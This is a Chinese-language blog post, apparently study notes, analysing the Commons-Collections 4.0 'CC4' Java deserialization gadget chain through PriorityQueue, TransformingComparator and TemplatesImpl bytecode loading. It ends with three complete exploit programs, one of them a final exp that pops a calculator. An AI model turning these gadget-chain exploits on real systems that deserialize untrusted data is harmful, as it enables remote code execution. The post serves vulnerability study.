Featured image of post CC4链

CC4链

CC4链

环境搭建

jdk8u65

Commons-Collections 4.0

cc4.0的maven依赖导入

1
2
3
4
5
<dependency>  
 <groupId>org.apache.commons</groupId>  
 <artifactId>commons-collections4</artifactId>  
 <version>4.0</version>  
</dependency>

这边建议直接把3.2.1直接注释了,不然IDEA的查找用法会很奇怪

链子分析

跟完前面的链子我们发现他们的终点都是一样的,要么反射调用来执行,要么动态加载字节码

我们现在看看yso的CC4怎么实现的,改动在于ChainedTransformertransform方法的实现

我们查找transform方法的用法

image-20250731151520567

我们在TransformingComparator类的compare方法找到了,由于TransformingComparator类继承了Serializable接口,而且这个compare方法非常常见

继续往前面跟进,查找compare方法的用法,但是实在太多,最后我们在PriorityQueue类里面

image-20250731152822648

找到siftDownUsingComparator方法,往上跟进

1
2
3
4
5
6
 private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }
1
2
3
4
private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

最后找到readObject

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

所以利用链直接就好了

前面加载字节码的代码跟CC3一样,然后我们改的是实现transform方法的途径

先来看看TransformingComparator类的构造器

1
2
3
4
5
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
                                  final Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }

可以看到它能直接传transformer

1
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

然后看看PriorityQueue类的构造器

1
2
3
public PriorityQueue(Comparator<? super E> comparator) {
        this(DEFAULT_INITIAL_CAPACITY, comparator);
    }

可以看到也是可以直接传的comparator

1
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

到这里就能通过序列化来实现readObject调用然后一步步触发transform方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com.cc4test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Test06 {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\TemplateClassLoader\\calcTest.class"));
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl,"_name","calc");
        setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code});
        setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
        };
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(target,value);
    }
    //定义序列化方法
    public static void serialize(Object o) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(o);
    }
    //定义反序列化方法
    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
        Object o = in.readObject();
        return o;
    }
}

然后发现什么也没发生

我们在PriorityQueue类的readObjcet方法的heapify()方法下断点调试

image-20250731163025805

跟进到这里,一个for循环,size的值不符合条件,根本走不进siftDown方法

image-20250731163138011

这里测试一下size=2才能进循环,但是我们断点调到这的size=0,所以我们要修改size

这里有两种方案,第一种就是反射修改size的值,第二种我们利用优先队列这个类本身的方法来修改

首先说第二种,我们知道size是优先队列的长度,直接用add方法加上就行了

1
2
priorityQueue.add(1);  
priorityQueue.add(2);

但是实际上,这个add方法也能直接触发transform方法,导致提前弹计算器

我们一路跟进发现它最后调用siftUpUsingComparator方法,而这个方法也调用了compare方法,然后就调用了transform方法

现在的解决办法就是跟CC6链解决map类put方法提前调用方法一致,先在transformingComparator这里调用一个没用的类,然后后面再反射赋值回前面的chainedTransformer

前面看到transformingComparator的构造器中变量就叫transformer

1
2
3
4
Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,chainedTransformer);

然后反射改size同理

1
2
3
4
Class c = priorityQueue.getClass();
Field sizeField = c.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue,2);

最终exp

由前面add方法给size赋值得

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package com.cc4test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Test06 {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\TemplateClassLoader\\calcTest.class"));
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl,"_name","calc");
        setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code});
        setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
        };
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(2);

        Class c = transformingComparator.getClass();
        Field transformerField = c.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator,chainedTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(target,value);
    }
    //定义序列化方法
    public static void serialize(Object o) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(o);
    }
    //定义反序列化方法
    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
        Object o = in.readObject();
        return o;
    }
}

反射改size

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package com.cc4test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Test06 {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\TemplateClassLoader\\calcTest.class"));
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl,"_name","calc");
        setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code});
        setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
        };
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        Class c = priorityQueue.getClass();
        Field sizeField = c.getDeclaredField("size");
        sizeField.setAccessible(true);
        sizeField.set(priorityQueue,2);
        
        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(target,value);
    }
    //定义序列化方法
    public static void serialize(Object o) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(o);
    }
    //定义反序列化方法
    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
        Object o = in.readObject();
        return o;
    }
}
使用 Hugo 构建
主题 StackJimmy 设计